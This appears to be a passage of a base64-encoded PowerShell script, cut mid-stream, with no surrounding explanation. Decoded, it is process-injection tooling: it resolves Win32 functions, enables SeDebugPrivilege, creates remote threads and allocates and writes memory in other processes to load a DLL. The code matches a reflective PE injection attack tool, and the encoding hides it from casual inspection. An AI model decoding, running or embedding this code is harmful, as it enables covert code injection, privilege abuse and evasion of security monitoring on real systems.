ZU1ldGhvZCgnSW52b2tlJywgJ1B1YmxpYywgSGlkZUJ5U2lnLCBOZXdTbG90LCBWaXJ0dWFsJywg
JFJldHVyblR5cGUsICRQYXJhbWV0ZXJzKQoJICAgICRNZXRob2RCdWlsZGVyLlNldEltcGxlbWVu
dGF0aW9uRmxhZ3MoJ1J1bnRpbWUsIE1hbmFnZWQnKQoJICAgIAoJICAgIFdyaXRlLU91dHB1dCAk
VHlwZUJ1aWxkZXIuQ3JlYXRlVHlwZSgpCgl9CgoKCglGdW5jdGlvbiBHZXQtUHJvY0FkZHJlc3MK
CXsKCSAgICBQYXJhbQoJICAgICgKCSAgICAgICAgW091dHB1dFR5cGUoW0ludFB0cl0pXQoJICAg
IAoJICAgICAgICBbUGFyYW1ldGVyKCBQb3NpdGlvbiA9IDAsIE1hbmRhdG9yeSA9ICRUcnVlICld
CgkgICAgICAgIFtTdHJpbmddCgkgICAgICAgICRNb2R1bGUsCgkgICAgICAgIAoJICAgICAgICBb
UGFyYW1ldGVyKCBQb3NpdGlvbiA9IDEsIE1hbmRhdG9yeSA9ICRUcnVlICldCgkgICAgICAgIFtT
dHJpbmddCgkgICAgICAgICRQcm9jZWR1cmUKCSAgICApCgoKCSAgICAkU3lzdGVtQXNzZW1ibHkg
PSBbQXBwRG9tYWluXTo6Q3VycmVudERvbWFpbi5HZXRBc3NlbWJsaWVzKCkgfAoJICAgICAgICBX
aGVyZS1PYmplY3QgeyAkXy5HbG9iYWxBc3NlbWJseUNhY2hlIC1BbmQgJF8uTG9jYXRpb24uU3Bs
aXQoJ1xcJylbLTFdLkVxdWFscygnU3lzdGVtLmRsbCcpIH0KCSAgICAkVW5zYWZlTmF0aXZlTWV0
aG9kcyA9ICRTeXN0ZW1Bc3NlbWJseS5HZXRUeXBlKCdNaWNyb3NvZnQuV2luMzIuVW5zYWZlTmF0
aXZlTWV0aG9kcycpCgoJICAgICRHZXRNb2R1bGVIYW5kbGUgPSAkVW5zYWZlTmF0aXZlTWV0aG9k
cy5HZXRNZXRob2QoJ0dldE1vZHVsZUhhbmRsZScpCgkgICAgJEdldFByb2NBZGRyZXNzID0gJFVu
c2FmZU5hdGl2ZU1ldGhvZHMuR2V0TWV0aG9kKCdHZXRQcm9jQWRkcmVzcycpCgoJICAgICRLZXJu
MzJIYW5kbGUgPSAkR2V0TW9kdWxlSGFuZGxlLkludm9rZSgkbnVsbCwgQCgkTW9kdWxlKSkKCSAg
ICAkdG1wUHRyID0gTmV3LU9iamVjdCBJbnRQdHIKCSAgICAkSGFuZGxlUmVmID0gTmV3LU9iamVj
dCBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuSGFuZGxlUmVmKCR0bXBQdHIsICRLZXJu
MzJIYW5kbGUpCgoKCSAgICBXcml0ZS1PdXRwdXQgJEdldFByb2NBZGRyZXNzLkludm9rZSgkbnVs
bCwgQChbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLkhhbmRsZVJlZl0kSGFuZGxlUmVm
LCAkUHJvY2VkdXJlKSkKCX0KCQoJCglGdW5jdGlvbiBFbmFibGUtU2VEZWJ1Z1ByaXZpbGVnZQoJ
ewoJCVBhcmFtKAoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAxLCBNYW5kYXRvcnkgPSAkdHJ1ZSld
CgkJW1N5c3RlbS5PYmplY3RdCgkJJFdpbjMyRnVuY3Rpb25zLAoJCQoJCVtQYXJhbWV0ZXIoUG9z
aXRpb24gPSAyLCBNYW5kYXRvcnkgPSAkdHJ1ZSldCgkJW1N5c3RlbS5PYmplY3RdCgkJJFdpbjMy
VHlwZXMsCgkJCgkJW1BhcmFtZXRlcihQb3NpdGlvbiA9IDMsIE1hbmRhdG9yeSA9ICR0cnVlKV0K
CQlbU3lzdGVtLk9iamVjdF0KCQkkV2luMzJDb25zdGFudHMKCQkpCgkJCgkJW0ludFB0cl0kVGhy
ZWFkSGFuZGxlID0gJFdpbjMyRnVuY3Rpb25zLkdldEN1cnJlbnRUaHJlYWQuSW52b2tlKCkKCQlp
ZiAoJFRocmVhZEhhbmRsZSAtZXEgW0ludFB0cl06Olplcm8pCgkJewoJCQlUaHJvdyAiVW5hYmxl
IHRvIGdldCB0aGUgaGFuZGxlIHRvIHRoZSBjdXJyZW50IHRocmVhZCIKCQl9CgkJCgkJW0ludFB0
cl0kVGhyZWFkVG9rZW4gPSBbSW50UHRyXTo6WmVybwoJCVtCb29sXSRSZXN1bHQgPSAkV2luMzJG
dW5jdGlvbnMuT3BlblRocmVhZFRva2VuLkludm9rZSgkVGhyZWFkSGFuZGxlLCAkV2luMzJDb25z
dGFudHMuVE9LRU5fUVVFUlkgLWJvciAkV2luMzJDb25zdGFudHMuVE9LRU5fQURKVVNUX1BSSVZJ
TEVHRVMsICRmYWxzZSwgW1JlZl0kVGhyZWFkVG9rZW4pCgkJaWYgKCRSZXN1bHQgLWVxICRmYWxz
ZSkKCQl7CgkJCSRFcnJvckNvZGUgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1h
cnNoYWxdOjpHZXRMYXN0V2luMzJFcnJvcigpCgkJCWlmICgkRXJyb3JDb2RlIC1lcSAkV2luMzJD
b25zdGFudHMuRVJST1JfTk9fVE9LRU4pCgkJCXsKCQkJCSRSZXN1bHQgPSAkV2luMzJGdW5jdGlv
bnMuSW1wZXJzb25hdGVTZWxmLkludm9rZSgzKQoJCQkJaWYgKCRSZXN1bHQgLWVxICRmYWxzZSkK
CQkJCXsKCQkJCQlUaHJvdyAiVW5hYmxlIHRvIGltcGVyc29uYXRlIHNlbGYiCgkJCQl9CgkJCQkK
CQkJCSRSZXN1bHQgPSAkV2luMzJGdW5jdGlvbnMuT3BlblRocmVhZFRva2VuLkludm9rZSgkVGhy
ZWFkSGFuZGxlLCAkV2luMzJDb25zdGFudHMuVE9LRU5fUVVFUlkgLWJvciAkV2luMzJDb25zdGFu
dHMuVE9LRU5fQURKVVNUX1BSSVZJTEVHRVMsICRmYWxzZSwgW1JlZl0kVGhyZWFkVG9rZW4pCgkJ
CQlpZiAoJFJlc3VsdCAtZXEgJGZhbHNlKQoJCQkJewoJCQkJCVRocm93ICJVbmFibGUgdG8gT3Bl
blRocmVhZFRva2VuLiIKCQkJCX0KCQkJfQoJCQllbHNlCgkJCXsKCQkJCVRocm93ICJVbmFibGUg
dG8gT3BlblRocmVhZFRva2VuLiBFcnJvciBjb2RlOiAkRXJyb3JDb2RlIgoJCQl9CgkJfQoJCQoJ
CVtJbnRQdHJdJFBMdWlkID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFs
XTo6QWxsb2NIR2xvYmFsKFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06
OlNpemVPZihbVHlwZV0kV2luMzJUeXBlcy5MVUlEKSkKCQkkUmVzdWx0ID0gJFdpbjMyRnVuY3Rp
b25zLkxvb2t1cFByaXZpbGVnZVZhbHVlLkludm9rZSgkbnVsbCwgIlNlRGVidWdQcml2aWxlZ2Ui
LCAkUEx1aWQpCgkJaWYgKCRSZXN1bHQgLWVxICRmYWxzZSkKCQl7CgkJCVRocm93ICJVbmFibGUg
dG8gY2FsbCBMb29rdXBQcml2aWxlZ2VWYWx1ZSIKCQl9CgoJCVtVSW50MzJdJFRva2VuUHJpdlNp
emUgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpTaXplT2YoW1R5
cGVdJFdpbjMyVHlwZXMuVE9LRU5fUFJJVklMRUdFUykKCQlbSW50UHRyXSRUb2tlblByaXZpbGVn
ZXNNZW0gPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpBbGxvY0hH
bG9iYWwoJFRva2VuUHJpdlNpemUpCgkJJFRva2VuUHJpdmlsZWdlcyA9IFtTeXN0ZW0uUnVudGlt
ZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlB0clRvU3RydWN0dXJlKCRUb2tlblByaXZpbGVn
ZXNNZW0sIFtUeXBlXSRXaW4zMlR5cGVzLlRPS0VOX1BSSVZJTEVHRVMpCgkJJFRva2VuUHJpdmls
ZWdlcy5Qcml2aWxlZ2VDb3VudCA9IDEKCQkkVG9rZW5Qcml2aWxlZ2VzLlByaXZpbGVnZXMuTHVp
ZCA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlB0clRvU3RydWN0
dXJlKCRQTHVpZCwgW1R5cGVdJFdpbjMyVHlwZXMuTFVJRCkKCQkkVG9rZW5Qcml2aWxlZ2VzLlBy
aXZpbGVnZXMuQXR0cmlidXRlcyA9ICRXaW4zMkNvbnN0YW50cy5TRV9QUklWSUxFR0VfRU5BQkxF
RAoJCVtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlN0cnVjdHVyZVRv
UHRyKCRUb2tlblByaXZpbGVnZXMsICRUb2tlblByaXZpbGVnZXNNZW0sICR0cnVlKQoKCQkkUmVz
dWx0ID0gJFdpbjMyRnVuY3Rpb25zLkFkanVzdFRva2VuUHJpdmlsZWdlcy5JbnZva2UoJFRocmVh
ZFRva2VuLCAkZmFsc2UsICRUb2tlblByaXZpbGVnZXNNZW0sICRUb2tlblByaXZTaXplLCBbSW50
UHRyXTo6WmVybywgW0ludFB0cl06Olplcm8pCgkJJEVycm9yQ29kZSA9IFtTeXN0ZW0uUnVudGlt
ZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OkdldExhc3RXaW4zMkVycm9yKCkgI05lZWQgdGhp
cyB0byBnZXQgc3VjY2VzcyB2YWx1ZSBvciBmYWlsdXJlIHZhbHVlCgkJaWYgKCgkUmVzdWx0IC1l
cSAkZmFsc2UpIC1vciAoJEVycm9yQ29kZSAtbmUgMCkpCgkJewoKCQl9CgkJCgkJW1N5c3RlbS5S
dW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6RnJlZUhHbG9iYWwoJFRva2VuUHJpdmls
ZWdlc01lbSkKCX0KCQoJCglGdW5jdGlvbiBJbnZva2UtQ3JlYXRlUmVtb3RlVGhyZWFkCgl7CgkJ
UGFyYW0oCgkJW1BhcmFtZXRlcihQb3NpdGlvbiA9IDEsIE1hbmRhdG9yeSA9ICR0cnVlKV0KCQlb
SW50UHRyXQoJCSRQcm9jZXNzSGFuZGxlLAoJCQoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAyLCBN
YW5kYXRvcnkgPSAkdHJ1ZSldCgkJW0ludFB0cl0KCQkkU3RhcnRBZGRyZXNzLAoJCQoJCVtQYXJh
bWV0ZXIoUG9zaXRpb24gPSAzLCBNYW5kYXRvcnkgPSAkZmFsc2UpXQoJCVtJbnRQdHJdCgkJJGZ1
bmMxMjQgPSBbSW50UHRyXTo6WmVybywKCQkKCQlbUGFyYW1ldGVyKFBvc2l0aW9uID0gNCwgTWFu
ZGF0b3J5ID0gJHRydWUpXQoJCVtTeXN0ZW0uT2JqZWN0XQoJCSRXaW4zMkZ1bmN0aW9ucwoJCSkK
CQkKCQlbSW50UHRyXSRSZW1vdGVUaHJlYWRIYW5kbGUgPSBbSW50UHRyXTo6WmVybwoJCQoJCSRP
U1ZlcnNpb24gPSBbRW52aXJvbm1lbnRdOjpPU1ZlcnNpb24uVmVyc2lvbgoKCQlpZiAoKCRPU1Zl
cnNpb24gLWdlIChOZXctT2JqZWN0ICdWZXJzaW9uJyA2LDApKSAtYW5kICgkT1NWZXJzaW9uIC1s
dCAoTmV3LU9iamVjdCAnVmVyc2lvbicgNiwyKSkpCgkJewoJCQlXcml0ZS1WZXJib3NlICJXaW5k
b3dzIFZpc3RhLzcgZGV0ZWN0ZWQsIHVzaW5nIE50Q3JlYXRlVGhyZWFkRXguIEFkZHJlc3Mgb2Yg
dGhyZWFkOiAkU3RhcnRBZGRyZXNzIgoJCQkkUmV0VmFsPSAkV2luMzJGdW5jdGlvbnMuTnRDcmVh
dGVUaHJlYWRFeC5JbnZva2UoW1JlZl0kUmVtb3RlVGhyZWFkSGFuZGxlLCAweDFGRkZGRiwgW0lu
dFB0cl06Olplcm8sICRQcm9jZXNzSGFuZGxlLCAkU3RhcnRBZGRyZXNzLCAkZnVuYzEyNCwgJGZh
bHNlLCAwLCAweGZmZmYsIDB4ZmZmZiwgW0ludFB0cl06Olplcm8pCgkJCSRMYXN0RXJyb3IgPSBb
U3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpHZXRMYXN0V2luMzJFcnJv
cigpCgkJCWlmICgkUmVtb3RlVGhyZWFkSGFuZGxlIC1lcSBbSW50UHRyXTo6WmVybykKCQkJewoJ
CQkJVGhyb3cgIkVycm9yIGluIE50Q3JlYXRlVGhyZWFkRXguIFJldHVybiB2YWx1ZTogJFJldFZh
bC4gTGFzdEVycm9yOiAkTGFzdEVycm9yIgoJCQl9CgkJfQoKCQllbHNlCgkJewoJCQlXcml0ZS1W
ZXJib3NlICJXaW5kb3dzIFhQLzggZGV0ZWN0ZWQsIHVzaW5nIENyZWF0ZVJlbW90ZVRocmVhZC4g
QWRkcmVzcyBvZiB0aHJlYWQ6ICRTdGFydEFkZHJlc3MiCgkJCSRSZW1vdGVUaHJlYWRIYW5kbGUg
PSAkV2luMzJGdW5jdGlvbnMuQ3JlYXRlUmVtb3RlVGhyZWFkLkludm9rZSgkUHJvY2Vzc0hhbmRs
ZSwgW0ludFB0cl06Olplcm8sIFtVSW50UHRyXVtVSW50NjRdMHhGRkZGLCAkU3RhcnRBZGRyZXNz
LCAkZnVuYzEyNCwgMCwgW0ludFB0cl06Olplcm8pCgkJfQoJCQoJCWlmICgkUmVtb3RlVGhyZWFk
SGFuZGxlIC1lcSBbSW50UHRyXTo6WmVybykKCQl7CgkJCVdyaXRlLVZlcmJvc2UgIkVycm9yIGNy
ZWF0aW5nIHJlbW90ZSB0aHJlYWQsIHRocmVhZCBoYW5kbGUgaXMgbnVsbCIKCQl9CgkJCgkJcmV0
dXJuICRSZW1vdGVUaHJlYWRIYW5kbGUKCX0KCgkKCglGdW5jdGlvbiBHZXQtSW1hZ2VOdEhlYWRl
cnMKCXsKCQlQYXJhbSgKCQlbUGFyYW1ldGVyKFBvc2l0aW9uID0gMCwgTWFuZGF0b3J5ID0gJHRy
dWUpXQoJCVtJbnRQdHJdCgkJJFBFSGFuZGxlLAoJCQoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAx
LCBNYW5kYXRvcnkgPSAkdHJ1ZSldCgkJW1N5c3RlbS5PYmplY3RdCgkJJFdpbjMyVHlwZXMKCQkp
CgkJCgkJJE50SGVhZGVyc0luZm8gPSBOZXctT2JqZWN0IFN5c3RlbS5PYmplY3QKCQkKCgkJJGRv
c0hlYWRlciA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlB0clRv
U3RydWN0dXJlKCRQRUhhbmRsZSwgW1R5cGVdJFdpbjMyVHlwZXMuSU1BR0VfRE9TX0hFQURFUikK
CgoJCVtJbnRQdHJdJE50SGVhZGVyc1B0ciA9IFtJbnRQdHJdKEFkZC1TaWduZWRJbnRBc1Vuc2ln
bmVkIChbSW50NjRdJFBFSGFuZGxlKSAoW0ludDY0XVtVSW50NjRdJGRvc0hlYWRlci5lX2xmYW5l
dykpCgkJJE50SGVhZGVyc0luZm8gfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0
eSAtTmFtZSBOdEhlYWRlcnNQdHIgLVZhbHVlICROdEhlYWRlcnNQdHIKCQkkaW1hZ2VOdEhlYWRl
cnM2NCA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlB0clRvU3Ry
dWN0dXJlKCROdEhlYWRlcnNQdHIsIFtUeXBlXSRXaW4zMlR5cGVzLklNQUdFX05UX0hFQURFUlM2
NCkKCQkKCgkgICAgaWYgKCRpbWFnZU50SGVhZGVyczY0LlNpZ25hdHVyZSAtbmUgMHgwMDAwNDU1
MCkKCSAgICB7CgkgICAgICAgIHRocm93ICJJbnZhbGlkIElNQUdFX05UX0hFQURFUiBzaWduYXR1
cmUuIgoJICAgIH0KCQkKCQlpZiAoJGltYWdlTnRIZWFkZXJzNjQuT3B0aW9uYWxIZWFkZXIuTWFn
aWMgLWVxICdJTUFHRV9OVF9PUFRJT05BTF9IRFI2NF9NQUdJQycpCgkJewoJCQkkTnRIZWFkZXJz
SW5mbyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lIElNQUdFX05U
X0hFQURFUlMgLVZhbHVlICRpbWFnZU50SGVhZGVyczY0CgkJCSROdEhlYWRlcnNJbmZvIHwgQWRk
LU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgUEU2NEJpdCAtVmFsdWUgJHRy
dWUKCQl9CgkJZWxzZQoJCXsKCQkJJEltYWdlTnRIZWFkZXJzMzIgPSBbU3lzdGVtLlJ1bnRpbWUu
SW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpQdHJUb1N0cnVjdHVyZSgkTnRIZWFkZXJzUHRyLCBb
VHlwZV0kV2luMzJUeXBlcy5JTUFHRV9OVF9IRUFERVJTMzIpCgkJCSROdEhlYWRlcnNJbmZvIHwg
QWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgSU1BR0VfTlRfSEVBREVS
UyAtVmFsdWUgJGltYWdlTnRIZWFkZXJzMzIKCQkJJE50SGVhZGVyc0luZm8gfCBBZGQtTWVtYmVy
IC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBQRTY0Qml0IC1WYWx1ZSAkZmFsc2UKCQl9
CgkJCgkJcmV0dXJuICROdEhlYWRlcnNJbmZvCgl9CgoKCglGdW5jdGlvbiBHZXQtUEVCYXNpY0lu
Zm8KCXsKCQlQYXJhbSgKCQlbUGFyYW1ldGVyKCBQb3NpdGlvbiA9IDAsIE1hbmRhdG9yeSA9ICR0
cnVlICldCgkJW0J5dGVbXV0KCQkkUEVCeXRlcywKCQkKCQlbUGFyYW1ldGVyKFBvc2l0aW9uID0g
MSwgTWFuZGF0b3J5ID0gJHRydWUpXQoJCVtTeXN0ZW0uT2JqZWN0XQoJCSRXaW4zMlR5cGVzCgkJ
KQoJCQoJCSRQRUluZm8gPSBOZXctT2JqZWN0IFN5c3RlbS5PYmplY3QKCQkKCgkJW0ludFB0cl0k
VW5tYW5hZ2VkUEVCeXRlcyA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hh
bF06OkFsbG9jSEdsb2JhbCgkUEVCeXRlcy5MZW5ndGgpCgkJW1N5c3RlbS5SdW50aW1lLkludGVy
b3BTZXJ2aWNlcy5NYXJzaGFsXTo6Q29weSgkUEVCeXRlcywgMCwgJFVubWFuYWdlZFBFQnl0ZXMs
ICRQRUJ5dGVzLkxlbmd0aCkgfCBPdXQtTnVsbAoJCQoKCQkkTnRIZWFkZXJzSW5mbyA9IEdldC1J
bWFnZU50SGVhZGVycyAtUEVIYW5kbGUgJFVubWFuYWdlZFBFQnl0ZXMgLVdpbjMyVHlwZXMgJFdp
bjMyVHlwZXMKCQkKCgkJJFBFSW5mbyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3Bl
cnR5IC1OYW1lICdQRTY0Qml0JyAtVmFsdWUgKCROdEhlYWRlcnNJbmZvLlBFNjRCaXQpCgkJJFBF
SW5mbyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lICdPcmlnaW5h
bEltYWdlQmFzZScgLVZhbHVlICgkTnRIZWFkZXJzSW5mby5JTUFHRV9OVF9IRUFERVJTLk9wdGlv
bmFsSGVhZGVyLkltYWdlQmFzZSkKCQkkUEVJbmZvIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBO
b3RlUHJvcGVydHkgLU5hbWUgJ1NpemVPZkltYWdlJyAtVmFsdWUgKCROdEhlYWRlcnNJbmZvLklN
QUdFX05UX0hFQURFUlMuT3B0aW9uYWxIZWFkZXIuU2l6ZU9mSW1hZ2UpCgkJJFBFSW5mbyB8IEFk
ZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5IC1OYW1lICdTaXplT2ZIZWFkZXJzJyAt
VmFsdWUgKCROdEhlYWRlcnNJbmZvLklNQUdFX05UX0hFQURFUlMuT3B0aW9uYWxIZWFkZXIuU2l6
ZU9mSGVhZGVycykKCQkkUEVJbmZvIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVy
dHkgLU5hbWUgJ0RsbENoYXJhY3RlcmlzdGljcycgLVZhbHVlICgkTnRIZWFkZXJzSW5mby5JTUFH
RV9OVF9IRUFERVJTLk9wdGlvbmFsSGVhZGVyLkRsbENoYXJhY3RlcmlzdGljcykKCQkKCgkJW1N5
c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6RnJlZUhHbG9iYWwoJFVubWFu
YWdlZFBFQnl0ZXMpCgkJCgkJcmV0dXJuICRQRUluZm8KCX0KCgoKCglGdW5jdGlvbiBHZXQtUEVE
ZXRhaWxlZEluZm8KCXsKCQlQYXJhbSgKCQlbUGFyYW1ldGVyKCBQb3NpdGlvbiA9IDAsIE1hbmRh
dG9yeSA9ICR0cnVlKV0KCQlbSW50UHRyXQoJCSRQRUhhbmRsZSwKCQkKCQlbUGFyYW1ldGVyKFBv
c2l0aW9uID0gMSwgTWFuZGF0b3J5ID0gJHRydWUpXQoJCVtTeXN0ZW0uT2JqZWN0XQoJCSRXaW4z
MlR5cGVzLAoJCQoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAyLCBNYW5kYXRvcnkgPSAkdHJ1ZSld
CgkJW1N5c3RlbS5PYmplY3RdCgkJJFdpbjMyQ29uc3RhbnRzCgkJKQoJCQoJCWlmICgkUEVIYW5k
bGUgLWVxICRudWxsIC1vciAkUEVIYW5kbGUgLWVxIFtJbnRQdHJdOjpaZXJvKQoJCXsKCQkJdGhy
b3cgJ1BFSGFuZGxlIGlzIG51bGwgb3IgSW50UHRyLlplcm8nCgkJfQoJCQoJCSRQRUluZm8gPSBO
ZXctT2JqZWN0IFN5c3RlbS5PYmplY3QKCQkKCgkJJE50SGVhZGVyc0luZm8gPSBHZXQtSW1hZ2VO
dEhlYWRlcnMgLVBFSGFuZGxlICRQRUhhbmRsZSAtV2luMzJUeXBlcyAkV2luMzJUeXBlcwoJCQoK
CQkkUEVJbmZvIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgUEVI
YW5kbGUgLVZhbHVlICRQRUhhbmRsZQoJCSRQRUluZm8gfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBl
IE5vdGVQcm9wZXJ0eSAtTmFtZSBJTUFHRV9OVF9IRUFERVJTIC1WYWx1ZSAoJE50SGVhZGVyc0lu
Zm8uSU1BR0VfTlRfSEVBREVSUykKCQkkUEVJbmZvIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBO
b3RlUHJvcGVydHkgLU5hbWUgTnRIZWFkZXJzUHRyIC1WYWx1ZSAoJE50SGVhZGVyc0luZm8uTnRI
ZWFkZXJzUHRyKQoJCSRQRUluZm8gfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0
eSAtTmFtZSBQRTY0Qml0IC1WYWx1ZSAoJE50SGVhZGVyc0luZm8uUEU2NEJpdCkKCQkkUEVJbmZv
IHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBOb3RlUHJvcGVydHkgLU5hbWUgJ1NpemVPZkltYWdl
JyAtVmFsdWUgKCROdEhlYWRlcnNJbmZvLklNQUdFX05UX0hFQURFUlMuT3B0aW9uYWxIZWFkZXIu
U2l6ZU9mSW1hZ2UpCgkJCgkJaWYgKCRQRUluZm8uUEU2NEJpdCAtZXEgJHRydWUpCgkJewoJCQlb
SW50UHRyXSRTZWN0aW9uSGVhZGVyUHRyID0gW0ludFB0cl0oQWRkLVNpZ25lZEludEFzVW5zaWdu
ZWQgKFtJbnQ2NF0kUEVJbmZvLk50SGVhZGVyc1B0cikgKFtTeXN0ZW0uUnVudGltZS5JbnRlcm9w
U2VydmljZXMuTWFyc2hhbF06OlNpemVPZihbVHlwZV0kV2luMzJUeXBlcy5JTUFHRV9OVF9IRUFE
RVJTNjQpKSkKCQkJJFBFSW5mbyB8IEFkZC1NZW1iZXIgLU1lbWJlclR5cGUgTm90ZVByb3BlcnR5
IC1OYW1lIFNlY3Rpb25IZWFkZXJQdHIgLVZhbHVlICRTZWN0aW9uSGVhZGVyUHRyCgkJfQoJCWVs
c2UKCQl7CgkJCVtJbnRQdHJdJFNlY3Rpb25IZWFkZXJQdHIgPSBbSW50UHRyXShBZGQtU2lnbmVk
SW50QXNVbnNpZ25lZCAoW0ludDY0XSRQRUluZm8uTnRIZWFkZXJzUHRyKSAoW1N5c3RlbS5SdW50
aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6U2l6ZU9mKFtUeXBlXSRXaW4zMlR5cGVzLklN
QUdFX05UX0hFQURFUlMzMikpKQoJCQkkUEVJbmZvIHwgQWRkLU1lbWJlciAtTWVtYmVyVHlwZSBO
b3RlUHJvcGVydHkgLU5hbWUgU2VjdGlvbkhlYWRlclB0ciAtVmFsdWUgJFNlY3Rpb25IZWFkZXJQ
dHIKCQl9CgkJCgkJaWYgKCgkTnRIZWFkZXJzSW5mby5JTUFHRV9OVF9IRUFERVJTLkZpbGVIZWFk
ZXIuQ2hhcmFjdGVyaXN0aWNzIC1iYW5kICRXaW4zMkNvbnN0YW50cy5JTUFHRV9GSUxFX0RMTCkg
LWVxICRXaW4zMkNvbnN0YW50cy5JTUFHRV9GSUxFX0RMTCkKCQl7CgkJCSRQRUluZm8gfCBBZGQt
TWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0eSAtTmFtZSBGaWxlVHlwZSAtVmFsdWUgJ0RM
TCcKCQl9CgkJZWxzZWlmICgoJE50SGVhZGVyc0luZm8uSU1BR0VfTlRfSEVBREVSUy5GaWxlSGVh
ZGVyLkNoYXJhY3RlcmlzdGljcyAtYmFuZCAkV2luMzJDb25zdGFudHMuSU1BR0VfRklMRV9FWEVD
VVRBQkxFX0lNQUdFKSAtZXEgJFdpbjMyQ29uc3RhbnRzLklNQUdFX0ZJTEVfRVhFQ1VUQUJMRV9J
TUFHRSkKCQl7CgkJCSRQRUluZm8gfCBBZGQtTWVtYmVyIC1NZW1iZXJUeXBlIE5vdGVQcm9wZXJ0
eSAtTmFtZSBGaWxlVHlwZSAtVmFsdWUgJ0VYRScKCQl9CgkJZWxzZQoJCXsKCQkJVGhyb3cgIlBF
IGZpbGUgaXMgbm90IGFuIEVYRSBvciBETEwiCgkJfQoJCQoJCXJldHVybiAkUEVJbmZvCgl9CgkK
CQoJRnVuY3Rpb24gSW1wb3J0LURsbEluUmVtb3RlUHJvY2VzcwoJewoJCVBhcmFtKAoJCVtQYXJh
bWV0ZXIoUG9zaXRpb249MCwgTWFuZGF0b3J5PSR0cnVlKV0KCQlbSW50UHRyXQoJCSRSZW1vdGVQ
cm9jSGFuZGxlLAoJCQoJCVtQYXJhbWV0ZXIoUG9zaXRpb249MSwgTWFuZGF0b3J5PSR0cnVlKV0K
CQlbSW50UHRyXQoJCSRJbXBvcnREbGxQYXRoUHRyCgkJKQoJCQoJCSRQdHJTaXplID0gW1N5c3Rl
bS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6U2l6ZU9mKFtUeXBlXVtJbnRQdHJd
KQoJCQoJCSRJbXBvcnREbGxQYXRoID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5N
YXJzaGFsXTo6UHRyVG9TdHJpbmdBbnNpKCRJbXBvcnREbGxQYXRoUHRyKQoJCSREbGxQYXRoU2l6
ZSA9IFtVSW50UHRyXVtVSW50NjRdKFtVSW50NjRdJEltcG9ydERsbFBhdGguTGVuZ3RoICsgMSkK
CQkkUkltcG9ydERsbFBhdGhQdHIgPSAkV2luMzJGdW5jdGlvbnMuVmlydHVhbEFsbG9jRXguSW52
b2tlKCRSZW1vdGVQcm9jSGFuZGxlLCBbSW50UHRyXTo6WmVybywgJERsbFBhdGhTaXplLCAkV2lu
MzJDb25zdGFudHMuTUVNX0NPTU1JVCAtYm9yICRXaW4zMkNvbnN0YW50cy5NRU1fUkVTRVJWRSwg
JFdpbjMyQ29uc3RhbnRzLlBBR0VfUkVBRFdSSVRFKQoJCWlmICgkUkltcG9ydERsbFBhdGhQdHIg
LWVxIFtJbnRQdHJdOjpaZXJvKQoJCXsKCQkJVGhyb3cgIlVuYWJsZSB0byBhbGxvY2F0ZSBtZW1v
cnkgaW4gdGhlIHJlbW90ZSBwcm9jZXNzIgoJCX0KCgkJW1VJbnRQdHJdJE51bUJ5dGVzV3JpdHRl
biA9IFtVSW50UHRyXTo6WmVybwoJCSRTdWNjZXNzID0gJFdpbjMyRnVuY3Rpb25zLldyaXRlUHJv
